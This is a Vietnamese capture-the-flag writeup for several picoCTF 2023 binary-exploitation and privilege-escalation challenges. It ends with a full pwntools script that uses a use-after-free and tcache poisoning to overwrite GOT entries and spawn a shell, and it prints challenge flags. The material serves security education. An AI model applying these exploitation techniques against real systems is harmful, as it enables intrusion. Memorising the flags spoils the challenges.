(writeup) picoCTF 2023
babygame01
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
chúa ghét 32 bit
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- check ida:
- vì là file32 nên ida trên máy decompile hay bị lỗi nên xin phép gửi source copy =))))))
chỉ copy những hàm liên quan để khai thác thôi nha
- hàm main sẽ nhảy vào function move_player
- ngoài ra trong chính hàm main có lun win (hướng khai thác chính là đây)
- và có hàm đặc biệt là solve_round
- bắt đầu 1 trò chơi thì ta đg đứng ở vị trí 4 4
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- mục tiêu ta là vị trí 29 89, tức là ta đang là nhân vật
@
, cần di chuyển đến X
- nhưng như vậy thì ai chả làm được, chỉ với 4 phím 'w', 'a', 's', 'd' hoặc theo source thì 'p' là tự động hoàn thành ván game
- win thì win đấy, nhưng đâu cho flag
- ngoài ra phía trên ta còn 1 dòng
player has flag: 0
- là chưa có flag nên k in flag, có dị thui
- hint :
cố nhân có câu: lùi 1 bước để tiến 3 bước
- nhìn source phía trên:
- v6 là con trỏ của mình, tức là v6 là con
@
- v6 nằm trên v7, v7 là mảng in ra bản đồ ta chơi, vậy có nghĩa ta có thể truy cập v6 bên ngoài v7
- trước hết ta lui dề vị trí 0 0
gửi 'aaaawwww'
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- vậy giả sử lui thêm thì sao, lui dùng 'a'
- con 'a' đầu tiên gửi vào thì nhân vật
@
đã bị ngoài vùng phủ sóng =)))))))
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- tiếp tục gửi thêm 'a' thì thấy đến con 'a' thứ 4 kể từ vị trí 0 0 thì ta có dòng này
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- gửi thêm thì sao nhỉ?
core dump
- vậy ta dừng lại ở đó vì đã có flag trong tay, ta gửi thêm 'p' vào và…
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- bài này có thể k cần script, nhưng sẽ viết ra để mng theo dõi:
picoCTF{gamer_m0d3_enabled_10567bc2}
two-sum
- đọc 1 lần là hiểu lun, lỗi IOF cơ bản
- biến a và b khai báo kiểu int
- source đọc ngay phần nhập số và tính tổng đủ hiểu nó khá vô lí rồi kkkkk
- nhập 2 số dương r tính tổng, chỉ ra flag khi tổng "nhỏ" hơn 1 trong 2 số mình nhập
- nhưng mình sẽ lợi dụng điều này để khiến cho nó đúng
- giới hạn của int :

- vậy để khiến tổng nhỏ hơn thì 2 số cộng lại phải vượt qua ngưỡng thiên đường int kia
2147483647
- bởi khi vượt qua ngưỡng đó thì cơ số đếm lại thành 1+
- vậy 2 số
3
và 2147483647
là sự lựa chọn kha khá hợp lí
- bài này có lẽ k cần viết script

picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1}
babygame02


- check ida
cũng như trên, copy dán thui nha, nhưng sẽ dán những hàm sẽ có thể khai thác
về hàm move_player,solve_round cũng tương tự
nhưng hàm win sẽ k display trên main mà func nằm gần main
vì là hàm đọc flag nên ta sẽ ret2win
- ta sẽ nhập từ từ để xem vị trí nào sẽ là save_eip
- đặt breakpoint ở đây (gần
ret
của move_player)

- ta thấy địa chỉ hàm win vs địa chỉ save_eip chỉ khác nhau 1 byte cuối


0x09 và 0x5d
- nhận vật của ta là ký tự '@', tương ứng là 0x40
- có câu lệnh 'l' sẽ đổi người chơi, vậy ta sẽ đổi người chơi từ '@' thành 1 byte cuối của win
- byte của 0x5d là ']'
- vậy cú pháp là
payload = b'l]'
ta sẽ gửi đầu tiên
- ta sẽ dùng ký tự 'a' để lùi sang trái tiếp tục, đến khi nào ow dc eip sẽ dừng

- đến đây ta thấy địa chỉ
0x5d049709
, ow sắp tới nơi (do địa chỉ trên k có nghĩa nên eip access vào nó sẽ báo lỗi)
- vậy payload ta thêm 3 con 'a' vào
bài này phải debug liên tục để check stack

- hurray🎉
- chạy tiếp thì …
sigsegv fault
- hmmmmmmmmmmmmmmmmmmm, có thể … stack lẻ =)))
- (giống bị lỗi xmm kkkkkk)
- chứ nhảy vào win là thành công r
- check tiếp win :
disas win

- thay vì nhảy vào <win+0> thì ta sẽ nhảy vào <win+28>, nhảy sau mấy cái nop quái dị

- vậy ta đổi payload ở ban đầu từ 'l]' sang 'ly'
- script:

picoCTF{gamer_jump1ng_4r0unD_8d141e10}
hijacking
- ở bài này k có cho source hay binary j cả
- nhận được hint ở description là tag
privillage escalation

- ngoài ra cũng có dc hint exploit kỹ thuật
privillage escalation
ấy là 1 link ytb
- khai thác tương tự ta có flag:




picoCTF{pYth0nn_libraryH!j@CK!n9_4c188d27}
VNE
- bài này tương tự leo thang đặc quyền
- kết nối và xem thử

- báo là chúng ta thiếu biến môi trường

- không thể khai thác như trên dc
- mô tả cho ta hint

- ta phải tải file bin về máy mình và sử dụng ida để check
- phương thức:
scp -P <port> username@host:<path-to-file-on-server> <path-to-file-in-local>



- ở đây yêu cầu ta phải có biến môi trường SECRET_DIR
- nếu không sẽ báo lỗi như trên

- tra gg cách tạo biến môi trường…

- hmmm, hay là ta chỉnh lại xíu
- hint:




picoCTF{Power_t0_man!pul4t3_3nv_d0cc7fe2}
tic-tac
- ở bài này description có hashtag #toctou
- check source:

txtreader
là file đọc flag có sẵn, dc compile bằng cource code c++ src.cpp
flag.txt
sở hữu bởi root
- viết 1 code c, dùng lệnh nano
- source:

- tạo 1 text giả trong mục /tmp/asd để kiểm tra

- tạo 1 thư mục và linking cái
flag.txt
vào thư mục đó
- lưu ý là linking đường dẫn vào đường dẫn

- tất nhiên đọc cái đường dẫn sẽ k dc


- chạy file mình đã compile phía trên

- lúc này trong hình,
flag.txt
sẽ nhảy qua lại giữa 2 thư mục ( có thể đồng thời 2 thư mục đều chứa flag.txt
)
- bruit force thôi

picoCTF{ToctoU_!s_3a5y_107916f2}
Horsetrack

- check ida (stripped nên rename lại 1 số function)


main()
tạo 1 chunk horse size 0x120

tạo struct cho dễ nhìn

secret()
là option0
option này là modify ngựa
vị trí, nhập tên (16 bytes)
sửa position
r gắn biến cheat=1

add()
thêm ngựa (vị trí, độ dài tên,tên)
khi nhập tên phải nhập đúng số lượng độ dài tên

remove()
xoá ngựa

option3 : đua ngựa
sẽ check xem mình có từng nhảy vào option0 (biến cheat)
các hàm idk và race_over là làm gì gì đó tính toán (cho cuộc đua)
hàm move_horse và show_horse sẽ lấy thông tin ngựa và bắt đầu race
cuối cùng lấy thông tin ngựa chiến thắng bằng get_winner
analyse
- vì bài này đi kèm libc6 nên sẽ có tcache
- trong hàm add() ta có thể thêm tối đa 17 con ngựa -> chỉ cần fill đủ là khi remove() là vào ubin
- và chương trình là kiểu đua ngựa nên có thể là Race Condition
- test thử

tạo 5 ngựa và đua
khi 1 con chiến thắng sẽ in ra "WINNER"
nếu những con ngựa đó chứa các byte khác thì cách để leak hơi khoai
nhưng bù lại animation khi đua hơi cute =)))))
- về hàm get_name lấy tên cho ngựa thì có 1 "tính năng"

nếu data cho tên ngựa chứ byte '\xff' thì k cần nhập nhiều
1 byte '\xff' là đủ
nó sẽ k lưu cái data mới mình ow vào
- BUG : UAF trong hàm secret()

không check ngựa có in_use hay không
- để mà malloc() lại vùng nhớ mình muốn thì bug UAF đó sẽ làm cho mình
- nhưng sẽ có cơ chế bảo vệ của tcache khi thay đổi fw_pointer –-> leak heap đầu tiên
- để lấy shell ta sẽ ow
__free_hook
way1: OW free_hook (not work on server)
leak heap + leak libc
- đầu tiên ta cần fill tcache và free nó
- sau đó fill lại lần nữa với byte '\xff' để không thay đổi dữ liệu nào
dù tcache count có 7, vào ubin là 8 nhưng ta lại cần đến 9 để malloc lại từ ubin sẽ vẫn còn ubin -> không bị mất libc_addr từ main_area
tcache poisoning + free_hook
- ta sẽ làm việc trên tcache (không trigger DBF được)
- thì để thay đổi
fw_pointer
ta chỉ còn cách này
- ta sẽ cần malloc() ra từ
__free_hook
- đầu tiên free() 2 chunk 1 và 0
- lúc này thứ tự trong bin là: [0] -> [1]
- ta sẽ sử dụng option0 để modify lại chunk
- lúc này trong bin: [0] ->
__free_hook - 0x10
- việc ta làm tiếp theo là malloc() ra chunk đó với data là '/bin/sh\0'
- rồi malloc tiếp theo nữa là system sau đó free() chunk chứa '/bin/sh\0' là có shell

way2: OW setbuf@GOT
leak heap
- leak heap sẽ khác một chút so với way1
- ta sẽ khai khác chủ yếu ở 2 chunk đầu (0 và 1) có size 0x10
- và tạo 3 chunk cùng size là 0x18
do muốn đua cần 5 con ngựa
- sau đó ta chỉ cần free() 2 chunk 0 và 1 và tạo lại
- race là leak được heap pointer
- nhưng sẽ qua 1 bước là xor để trỏ về chunk trước đó
GOT layout
- ta sẽ nhắm đến cơ chế của setbuf() là sẽ set 3 cái stdin stdout và stderr
- tức là sẽ đưa stderr (target) vào hàm setbuf() và "do stuff"
- vậy ta chỉ cần stderr là 'sh'
- GOT của setbuf() là system() là có shell
- nhưng để nhảy tới bước setup của setbuf() ta nhắm đến hàm printf() khi kết thúc 1 giai đoạn của chương trình

- target: bắt đầu ghi vào địa chỉ
0x404040
payload = p64(A) + p64(B) + p64(C)
với A là system@plt (setbuf@GOT)
với B là system@plt (system@GOT)
với C là địa chỉ trỏ đến lúc đưa stderr vào và call setbuf() (printf@GOT)
ow stderr = 'sh'
- ow bằng tcache poisoning như bình thường
stderr
= 0x4040e0 sẽ chứa 0x4040e8 trỏ đến 'sh'
ow GOT (setbuf, system, printf)
- tương tự như thế nhưng sẽ ở chunk khác

địa chỉ sẽ nhảy về: 0x401b90

nhảy ở plt+6
get flag

from pwn import *
context.binary = exe = ELF("./vuln_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)
if args.REMOTE:
p = remote('saturn.picoctf.net',56744)
else:
p = process(exe.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x401dbf
b*0x40152c
b*0x401b32
b*0x40160f
b*0x401640
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def add(index,length,name):
sla(b'Choice: ',b'1')
sla(b'(0-17)?',str(index).encode())
sla(b'(16-256)?',str(length).encode())
sla(b'characters:',name)
def delete(index):
sla(b'Choice: ',b'2')
sla(b'(0-17)?',str(index).encode())
def race():
sla(b'Choice: ',b'3')
def cheat(index,name):
sla(b'Choice: ',b'0')
sla(b'(0-17)?',str(index).encode())
sla(b'characters:',name)
sla(b'spot? ',b'0')
def prev(ptr):
prev_ptr = (ptr >> 12) ^ ptr
return (prev_ptr >> 24) ^ prev_ptr
def show(idx):
data = p.recvuntil('WINNER: ')
leaks = []
for line in data.split(b'\n')[1:10]:
if b'|' not in data:
continue
line = line.strip(b' |\n\r')
info("Line: " + str(line))
leaks.append(line)
leaks = [a for a in leaks if a != 0]
print(leaks)
first_leak = leaks[idx]
info("#############################")
return (first_leak)
add(5,0x18, b'X'*0x18)
add(6,0x18, b'Y'*0x18)
add(7,0x18, b'Z'*0x18)
add(0,0x10, b'A'*0x10)
add(1,0x10, b'B'*0x10)
delete(0)
delete(1)
add(1,0x10, b"\xff")
add(0,0x10, b'A'*0x10)
race()
leak = show(1)
leak = u32(leak.ljust(4,b'\0'))
info("leaking: " + hex(leak))
ptr = prev(leak)
info("need: " + hex(ptr))
delete(0)
delete(1)
target = exe.sym['stderr']
info("target: " + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(1, payload + b'\xff')
add(1,0x10, b"A" * 0x10)
payload = p64(target + 8)
payload += b'sh'.ljust(8,b'\0')
add(0,0x10, payload + b'\xff')
delete(5)
delete(6)
target = exe.got["setbuf"]
info("target: " + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(6, payload + b'\xff')
GDB()
add(6,0x18, b'A'*0x18)
resolve_system = exe.plt['system']+6
add(5,0x18, p64(resolve_system) * 2 + p64(0x401b90))
p.interactive()
picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}